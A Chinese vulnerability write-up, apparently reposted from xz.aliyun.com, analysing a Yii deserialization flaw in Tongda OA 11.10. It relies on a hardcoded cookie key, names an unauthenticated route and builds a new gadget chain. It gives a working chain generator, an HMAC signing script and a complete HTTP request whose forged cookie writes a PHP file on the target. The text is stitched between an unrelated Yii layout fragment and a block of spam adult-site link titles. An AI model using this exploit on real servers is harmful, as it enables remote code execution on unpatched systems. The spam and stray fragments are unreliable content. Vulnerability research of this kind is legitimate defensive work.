          ]);

          echo Nav::widget([

          'options'=> ['class'=> 'navbar-nav navbar-right'],

          'items'=> [

          ['label'=> 'Home', 'url'=> ['/site/index']],

          // other menu items...

          ],

          ]);

          NavBar::end();

          ?>

          <div class="container">

          <?=$content ?>

          </div>

          </div>

          <?php $this->endBody(); ?>

          </body>

          </html>

          <?php $this->endPage(); ?>


          在這個(gè)例子中,我使用了Yii2的Bootstrap擴(kuò)展,通過`\yii\bootstrap\BootstrapAsset::register($this);`來引入Bootstrap的CSS和JS文件。你可以根據(jù)自己的需要引入其他第三方前端UI框架的文件。

          x00 前置知識(shí)和準(zhǔn)備

          1.yii版本和源碼準(zhǔn)備

          查看通達(dá)oa 11.10使用的yii框架版本是2.0.13-dev,該版本在inc/vendor/yii2/yiisoft/yii2/BaseYii.php(yii/BaseYii)的getVersion方法可以查看。由于通達(dá)oa解密后的代碼會(huì)對(duì)yii框架部分代碼有影響,會(huì)出現(xiàn)亂碼的情況,所以建議找到對(duì)應(yīng)版本后上yii倉(cāng)庫(kù)下載源碼。

          static public function getVersion()
              {
                  return "2.0.13-dev";
              }
          

          2.yii csrftoken配置方法

          • 單個(gè)controller開啟:

          在控制器中設(shè)置

          public $enableCsrfValidation=true;
          • 全局開啟:

          在yii框架的/config/main.php設(shè)置

          request=> [
              'enableCookieValidation'=> true,
          ]
          

          yii框架默認(rèn)是開啟這個(gè)設(shè)置的。

          • 針對(duì)提交的數(shù)據(jù)流進(jìn)行設(shè)置

          通達(dá)oa在inc/vendor/yii2/yiisoft/yii2/web/Request.php頁面中,設(shè)置public $enableCsrfValidation=true;$enableCsrfValidation=true;(默認(rèn))

          還可以設(shè)置beforeAction在某些方法之前進(jìn)行csrf token、afterAction在某些方法之后進(jìn)行csrf token、表單設(shè)置、ajax異步post請(qǐng)求設(shè)置,這些其他模式設(shè)置csrf token請(qǐng)查看《Yii2 關(guān)閉和打開csrf 驗(yàn)證》。

          3.yii csrftoken http報(bào)文格式

          Cookie中_csrf的參數(shù),格式大致如下:

          Cookie: _csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

          a開始就是序列化的數(shù)組數(shù)據(jù)。

          例如:

          Cookie: _csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D;

          通過這些可以看到該漏洞的利用條件如下:

          • yii csrf token開啟(默認(rèn)開啟)
          • 只能影響到y(tǒng)ii框架函數(shù)request類請(qǐng)求的數(shù)據(jù)流,php原生請(qǐng)求方式不受影響。

          0x01 漏洞分析

          1.反序列化觸發(fā)點(diǎn)csrfMetaTags

          yii框架csrf token生成的時(shí)候會(huì)生成一部分序列化數(shù)據(jù),校驗(yàn)該token需要對(duì)這部分序列化數(shù)據(jù)進(jìn)行反序列化校驗(yàn)。

          yii/helpers/BaseHtml的csrfMetaTags方法是生成csrftoken后將其放在html的meta標(biāo)簽里面的方法。yii默認(rèn)是開啟csrf校驗(yàn)的,所以$request->enableCsrfValidation默認(rèn)為true,默認(rèn)就會(huì)調(diào)用yii/web/Request::getCsrfToken方法獲取csrf token。

          public static function csrfMetaTags()
              {
                  $request=Yii::$app->getRequest();
                  // $request是framework/web/Request.php Request類
                  if ($request instanceof Request && $request->enableCsrfValidation) {
                      return static::tag('meta', '', ['name'=> 'csrf-param', 'content'=> $request->csrfParam]) . "\n    "
                          . static::tag('meta', '', ['name'=> 'csrf-token', 'content'=> $request->getCsrfToken()]) . "\n";
                  }
          
                  return '';
              }
          
          //framework/web/Request.php 
          public $enableCsrfValidation=true;
          

          跟進(jìn)getCsrfToken方法,$this->_csrfToken可控,設(shè)置為null,從而能繼續(xù)進(jìn)入$this->loadCsrfToken()。

          public function getCsrfToken($regenerate=false)
              {
                  //可設(shè)置 $this->_csrfToken=null
                  if ($this->_csrfToken===null || $regenerate) {
                      if ($regenerate || ($token=$this->loadCsrfToken())===null)
                      {
                          $token=$this->generateCsrfToken();
                      }
                      $this->_csrfToken=Yii::$app->security->maskToken($token);
                  }
          
                  return $this->_csrfToken;
              }
          

          $this->loadCsrfToken()由于$this->enableCsrfCookie默認(rèn)就為true,就會(huì)調(diào)用getCookies方法。$this->_cookies可控,從而調(diào)用$this->loadCookies()。loadCookies方法中$this->cookieValidationKey根據(jù)手冊(cè)開啟csrf校驗(yàn)該密鑰可以在yii web配置里查看。通達(dá)oa中yii的web配置文件是general/appbuilder/config/web.php,在這里面可以看到固定密碼為tdide2。

          protected function loadCsrfToken()
              {
                  //默認(rèn)或可設(shè)置$enableCsrfCookie=true
                  if ($this->enableCsrfCookie) {
                      return $this->getCookies()->getValue($this->csrfParam);
                  }
          
                  return Yii::$app->getSession()->get($this->csrfParam);
              }
          
          public function getCookies()
              {
                  if ($this->_cookies===null) {
                      $this->_cookies=new CookieCollection($this->loadCookies(), [
                          'readOnly'=> true,
                      ]);
                  }
          
                  return $this->_cookies;
              }
          
          protected function loadCookies()
              {
                  $cookies=[];
                  if ($this->enableCookieValidation) {
                      if ($this->cookieValidationKey=='') {
                          throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
                      }
                      foreach ($_COOKIE as $name=> $value) {
                          if (!is_string($value)) {
                              continue;
                          }
                        //$this->cookieValidationKey='tdide2'
                          $data=Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                          if ($data===false) {
                              continue;
                          }
                        // 反序列化點(diǎn)
                          $data=@unserialize($data);
                          if (is_array($data) && isset($data[0], $data[1]) && $data[0]===$name) {
                              $cookies[$name]=Yii::createObject([
                                  'class'=> 'yii\web\Cookie',
                                  'name'=> $name,
                                  'value'=> $data[1],
                                  'expire'=> null,
                              ]);
                          }
                      }
                  ......
          

          回到loadCookies中,對(duì)$_COOKIE循環(huán)遍歷并對(duì)cookie中每個(gè)字段的值用Yii::$app->getSecurity()->validateData()校驗(yàn),校驗(yàn)csrf token值無問題后對(duì)其進(jìn)行反序列化。

          跟進(jìn)發(fā)現(xiàn)是yii/base/Security的validataData方法。該方法校驗(yàn)思路是比對(duì)cookie的csrf token中傳入的hash和代碼中重新計(jì)算的hash是否一致。hash_hmac設(shè)置的是sha256位的hash計(jì)算模式,因此每次傳入csrf token都要計(jì)算對(duì)應(yīng)的hash值。

          public function validateData($data, $key, $rawHash=false)
              {
                  //$this->macHash=sha256
                  $test=@hash_hmac($this->macHash, '', '', $rawHash);
                  if (!$test) {
                      throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
                  }
                  $hashLength=StringHelper::byteLength($test);
                  if (StringHelper::byteLength($data) >=$hashLength) {
                      $hash=StringHelper::byteSubstr($data, 0, $hashLength);
                      $pureData=StringHelper::byteSubstr($data, $hashLength, null);
                      //hash_mac('sha256',$pureData,'tdide2',false)
                      $calculatedHash=hash_hmac($this->macHash, $pureData, $key, $rawHash);
          
                      if ($this->compareString($hash, $calculatedHash)) {
                          return $pureData;
                      }
                  }
          
                  return false;
              }
          

          2.通達(dá)OA調(diào)用csrfMetaTags的地方

          分析完了反序列化unserialize的觸發(fā)點(diǎn),但還要找到調(diào)用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html頁面meta標(biāo)簽的csrf token,因此調(diào)用的地方一般在html模版或者寫頁面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有調(diào)用該方法。

          <?php
          $this->beginPage();
          echo "<!DOCTYPE html>\n<html lang=\"";
          echo Yii::$app->language;
          echo "\">\n<head>\n    <meta charset=\"";
          echo Yii::$app->charset;
          echo "\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    ";
          echo yii\helpers\Html::csrfMetaTags();
          echo "    <title>";
          ......
          

          查看/general/appbuilder/目錄結(jié)構(gòu)發(fā)現(xiàn)general/appbuilder/views/是yii框架寫的模板主頁面。只要調(diào)用了該路由下的方法就能觸發(fā)模板渲染。

          根據(jù)手冊(cè),general/appbuilder/config/params.php是配置框架參數(shù)的,其中skip_module是配置不進(jìn)行鑒權(quán)的模塊,其中就有portal門戶模塊。

          <?php
          
          include_once "inc/td_config.php";
          $arr_mysql_server=explode(":", TD::$_arr_db_master["host"]);
          return array(
          ......
              "skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),
          

          同時(shí)general/appbuilder/web/index.php是yii路由入口,獲取請(qǐng)求路徑后以問號(hào)為分隔符substr分割路徑和uri參數(shù)。portal模塊下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的話會(huì)直接跳轉(zhuǎn)到index.php,從而可以觸發(fā)general/appbuilder/views/layouts/main.php模板。

          ......
              else {
                  $url=$_SERVER["REQUEST_URI"]; //獲取路徑
                  $strurl=substr($url, 0, strpos($url, "?")); //分割路徑和uri參數(shù)
          
                  if (strpos($strurl, "/portal/") !==false) {
                      if (strpos($strurl, "/gateway/")===false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($strurl, "/gateway/saveportal") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "edit") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "uploadfile") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "uploadportalfile") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "uploadpicture") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                      else if (strpos($url, "dologin") !==false) {
                          header("Location:/index.php");
                          sess_close();
                          exit();
                      }
                  }
              ......
          

          因此,觸發(fā)漏洞的路由是/general/appbuilder/portal/gateway/?。

          在inc/common.inc.php可以看到通達(dá)OA有全局的addslashes過濾,對(duì)Cookie中過濾。傳入payload的時(shí)候?qū)csrf改為_GET、_POST等就可以繞過。

          if (0 < count($_COOKIE)) {
            foreach ($_COOKIE as $s_key=> $s_value ) {
              if ((substr($s_key, 0, 7)=="_SERVER") || (substr($s_key, 0, 8)=="_SESSION") || (substr($s_key, 0, 7)=="_COOKIE") || (substr($s_key, 0, 4)=="_GET") || (substr($s_key, 0, 5)=="_POST") || (substr($s_key, 0, 6)=="_FILES")) {
                continue;
              }
          
              if (!is_array($s_value)) {
                $_COOKIE[$s_key]=addslashes(strip_tags($s_value));
              }
          
              $s_key=$_COOKIE[$s_key];
            }
          
            reset($_COOKIE);
          }
          

          3.yii 反序列化鏈

          yii常見的反序列化起點(diǎn)是利用yii\db\BatchQueryResult的。其中yii框架POP1鏈條差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通達(dá)oa里并沒有用**Faker\Generator**,而且好多yii反序列化鏈涉及的類都通達(dá)oa都沒有,因此這里需要重新找一條鏈。

          yii\db\BatchQueryResult的__destruct調(diào)用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解為可控類->close()。全局搜索到y(tǒng)ii\db\DataReader存在close()方法。

          public function __destruct()
              {
                  // make sure cursor is closed
                  $this->reset();
              }
          
          public function reset()
              {
                  if ($this->_dataReader !==null) { 
                      $this->_dataReader->close();
                  }
                  $this->_dataReader=null;
                  $this->_batch=null;
                  $this->_value=null;
                  $this->_key=null;
              }
          

          因此,可設(shè)置$this->_dataReader=new DataReader()從而觸發(fā)調(diào)用其close方法,進(jìn)入后$this->_statement可控,同樣是可控類->closeCursor(),但是全局搜索沒找到什么對(duì)應(yīng)的類。嘗試找?guī)в衏all方法的類,通過調(diào)用其不存在的closeCursor,觸發(fā)call方法。

          public function close()
              {
                  $this->_statement->closeCursor();//$this->_statement=new Connection();
                  $this->_closed=true;
              }
          

          在通達(dá)oa 11.10全局搜索中找到y(tǒng)ii2框架還用了yii2-redis庫(kù),在yii2-redis里面找到y(tǒng)ii\redis\Connection類存在call方法。


          打開后發(fā)現(xiàn)代碼由于解密問題有亂碼問題,找到對(duì)應(yīng)的yii2-redis倉(cāng)庫(kù)下載對(duì)應(yīng)版本的源碼(inc/vendor/yii2/yiisoft/extensions.php頁面可查看yii2-redis版本為2.0.6)。$redisCommand=$name='closeCursor'轉(zhuǎn)換為大寫,再與$this->redisCommands比對(duì),查看是否存在其中,而$this->redisCommands可控,可參照其默認(rèn)值形式,設(shè)置為CLOSE CURSOR,從而可進(jìn)入executeCommand。

          public $redisCommands=[
                  'APPEND', // Append a value to a key
                  'AUTH', // Authenticate to the server
                  'BGREWRITEAOF', // Asynchronously rewrite the append-only file
                  'BGSAVE', // Asynchronously save the dataset to disk
          ......
              ];
          
          public function __call($name, $params)//$name=closeCursor,$params=null
              {
                  $redisCommand=strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
                  if (in_array($redisCommand, $this->redisCommands)) {
                      return $this->executeCommand($redisCommand, $params);
                  }
          
                  return parent::__call($name, $params);
              }
          

          executeCommand調(diào)用open方法,跟進(jìn)發(fā)現(xiàn)$this->_socket可控,為保證代碼繼續(xù)運(yùn)行這里要設(shè)置為false(默認(rèn)初始化值為false)。$connection由hostname、port、database拼接,每個(gè)變量都可控,然后后續(xù)進(jìn)行socket的鏈接。由于通達(dá)一體包系統(tǒng)環(huán)境一般是win系統(tǒng),所以設(shè)置$this->unixSocket為false(可控)就能進(jìn)入win下tcp鏈接。這里只要連通就可以讓$this->_socket為true進(jìn)入if分支。if分之內(nèi)前面三個(gè)if條件$this->dataTimeout、$this->password、$this->database都可控,這三個(gè)分支調(diào)用的不是executeCommand的遞歸就是又進(jìn)行socket鏈接都不符合情況,所以需要設(shè)置為null,才能保證進(jìn)入initConnection()。

          public function executeCommand($name, $params=[])
              {
                  $this->open();
          ......
              }
          
          public function open()
              {
                  if ($this->_socket !==false) {
                      return;
                  }
                  $connection=($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
                  \Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
                  $this->_socket=@stream_socket_client(
                      $this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
                      $errorNumber,
                      $errorDescription,
                      $this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
                      $this->socketClientFlags
                  );
                  if ($this->_socket) {
                      if ($this->dataTimeout !==null) {
                          stream_set_timeout($this->_socket, $timeout=(int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
                      }
                      if ($this->password !==null) {
                          $this->executeCommand('AUTH', [$this->password]);
                      }
                      if ($this->database !==null) {
                          $this->executeCommand('SELECT', [$this->database]);
                      }
                      $this->initConnection();
                  }
              ......
          }
          

          initConnection()實(shí)際調(diào)用的是yii\base\Component(framework/base/Component.php)::trigger()方法,參數(shù)EVENT_AFTER_OPEN固定值是afterOpen。

          const EVENT_AFTER_OPEN='afterOpen';
          
          protected function initConnection()
              {
                  $this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
              }
          

          trigger方法在line560調(diào)用了call_user_func,逆向溯源兩個(gè)$handler[0]和$event參數(shù)。$this->_events[$name]=$this->['afterOpen']不為空,就能進(jìn)入該分支調(diào)用call_user_func。然后對(duì)$this->_events['afterOpen']進(jìn)行數(shù)組遍歷,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。

          public function trigger($name, Event $event=null)
              {
                  $this->ensureBehaviors();
                  //$this->_events['afterOpen']=''
                  if (!empty($this->_events[$name])) {
                      if ($event===null) {
                          $event=new Event();
                      }
                      if ($event->sender===null) {
                          $event->sender=$this;//yii\base\Component
                      }
                      $event->handled=false;
                      $event->name=$name;//'afterOpen'
                      //$this->>_events['afterOpen']=$handler; 
                      foreach ($this->_events[$name] as $handler) {
                          $event->data=$handler[1];//any
                          call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
                          // stop further handling if the event is handled
                          if ($event->handled) {
                              return;
                          }
                      }
                  }
                  // invoke class-level attached handlers
                  Event::trigger($this, $name, $event);
              }
          

          參考低版本yii反序列化鏈執(zhí)行代碼注入的一般通過yii\rest\CreateAction或者類似的類(代碼內(nèi)容如下所示)。其中$this->checkAccess和$this->id都可控,$this->checkAccess設(shè)置為調(diào)用php函數(shù),如system執(zhí)行命令;$this->id設(shè)置執(zhí)行內(nèi)容,如命令whoami。

          public function run()
              {
                  if ($this->checkAccess) {
                      call_user_func($this->checkAccess, $this->id);
                  }
                ......
          

          結(jié)合上面的trigger方法,call_user_func參數(shù)1可以設(shè)置為調(diào)用CreateAction的run方法,調(diào)用方式:call_user_func([new CreateAction, 'run'],'a')。如何給$this->_events['afterOpen']賦值,繼續(xù)查看如下代碼注釋:

          //$this->>_events['afterOpen']=$handler; //一重?cái)?shù)組,$handler要求是數(shù)組
                      foreach ($this->_events[$name] as $handler) { //二重?cái)?shù)組,$handler分為$handler[0]和handler[1]
                          $event->data=$handler[1];//any
                          call_user_func($handler[0],$event);
                          //call_user_func([new CreateAction,'run'],any); 
                          //三重?cái)?shù)組,call_user_func調(diào)用類需要用數(shù)組傳入,形如[new A(),...params]
          

          轉(zhuǎn)換過來也就是$this->_events['afterOpen']=[[[new CreatAction, 'run'],'a']]。

          0x02 漏洞復(fù)現(xiàn)

          1.生成反序列化鏈

          該鏈條效果為寫入一個(gè)名為hgsd.php的php文件,內(nèi)容為<?php echo 123;?>。輸出反序列化payload的base64編碼,解碼并urlencode作為偽造的csrf token一部分?jǐn)?shù)據(jù)。

          <?php
          
          //step4
          namespace yii\rest {
              class CreateAction {
                  public $id;
                  public $checkAccess;
                  public function __construct() {
                      $this->checkAccess='assert';
                      $this->id="file_put_contents('hgsd.php','<?php echo 123;?>')";
                  }
          
              }
          }
          
          //step3
          namespace yii\base {
          
              use yii\rest\CreateAction;
          
              class Component {
          
                  private $_events=[];
                  private $_behaviors=1;
          
                  public function __construct() {
                      $this->_events=["afterOpen"=> [[[new CreateAction(), "run"], "a"]]];
                      //第二個(gè)"a"參數(shù)任意。
                  }
              }
          }
          //step2
          namespace yii\redis {
          
              use yii\base\Component;
          
              class Connection extends Component{
                  public $redisCommands=[];
                  public $hostname='';
                  public $port;
                  public $password;
                  public $username;
                  public $connectionTimeout;
                  public $dataTimeout;
                  public $database;
                  public $unixSocket;
                  private $_socket;
          
                  public function __construct()
                  {
                      $this->redisCommands=array('CLOSE CURSOR');
                      $this->_socket=false;
                      $this->hostname='127.0.0.1';
                      $this->port=803;//能夠連通的任意本地服務(wù)的端口
                      $this->unixSocket=false;
                      $this->connectionTimeout=5;
                      parent::__construct();
                  }
              }
          
          }
          
          // step1 
          namespace yii\db {
          
              use yii\redis\Connection;
          
              class DataReader {
                  private $_statement;
                  private $_closed=false;
                  private $_row;
                  private $_index=-1;
                  public function __construct()
                  {
                      $this->_statement=new Connection();
                  }
              }
          
              class BatchQueryResult {
                  public $batchSize=100;
                  public $each=false;
                  private $_dataReader;
                  private $_batch;
                  private $_value;
                  private $_key;
          
                  public function __construct() {
                      $this->_dataReader=new DataReader();
                  }
          
              }
          }
          //start
          namespace {
              use yii\db\BatchQueryResult;
              echo base64_encode(serialize(new BatchQueryResult()));
          }
          

          2. 生成反序列化hash

          對(duì)第一步生成的反序列化payload(base64已編碼)進(jìn)行hash計(jì)算,從而生成對(duì)應(yīng)的csrf token另一部分?jǐn)?shù)據(jù)。

          <?php
          $pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');
          
          $calculatedHash=hash_hmac('sha256',$pureData,'tdide2',false); 
          # yii general/appbuilder/config/web.php cookieValidationKey 固定值
          echo($calculatedHash);
          

          3.http報(bào)文(漏洞驗(yàn)證)

          對(duì)數(shù)據(jù)包請(qǐng)求方式?jīng)]有限制,get和post方式都可以。偽造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完畢后,在發(fā)送如下請(qǐng)求:

          POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
          Host: x.x.x.x
          Cache-Control: max-age=0
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
          Accept-Encoding: gzip, deflate
          Accept-Language: zh-CN,zh;q=0.9
          Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
          Connection: close
          Content-Type: application/x-www-form-urlencoded
          Content-Length: 0
          

          執(zhí)行成功后響應(yīng)500,響應(yīng)體如下圖所示:


          上述生成的poc文件目錄是/general/appbuilder/web/hgsd.php。


          from https://xz.aliyun.com/t/12855


          主站蜘蛛池模板: 蜜臀AV一区二区| 日本v片免费一区二区三区 | 国产一在线精品一区在线观看| 久久精品无码一区二区日韩AV| 中文激情在线一区二区| 色一情一乱一伦一区二区三欧美| 无码精品黑人一区二区三区| 美女免费视频一区二区| 极品尤物一区二区三区| 久久91精品国产一区二区| 精品一区二区三区高清免费观看| 97久久精品无码一区二区天美| 久久精品视频一区| 日本免费电影一区二区| 国产综合无码一区二区三区| 国产精品一区二区综合| 无码一区二区三区爆白浆| 极品人妻少妇一区二区三区| 国模丽丽啪啪一区二区| 亚洲人AV永久一区二区三区久久| 国产成人一区二区三区免费视频| 一区二区亚洲精品精华液| 亚洲AV无码一区二区一二区| 日韩亚洲一区二区三区| 无码少妇一区二区三区| 乱精品一区字幕二区| 亚洲福利秒拍一区二区| 99精品国产高清一区二区麻豆| 亚洲熟女www一区二区三区| 亚洲福利一区二区精品秒拍| 在线中文字幕一区| 无码中文字幕乱码一区 | 毛片一区二区三区| 亚洲性无码一区二区三区| 日韩精品人妻av一区二区三区| 亚洲视频一区在线播放| 亚洲AV成人精品一区二区三区| 国产精品亚洲专区一区 | 一区二区三区四区精品视频| 国产一区二区不卡在线播放| 国产精品无码一区二区三级 |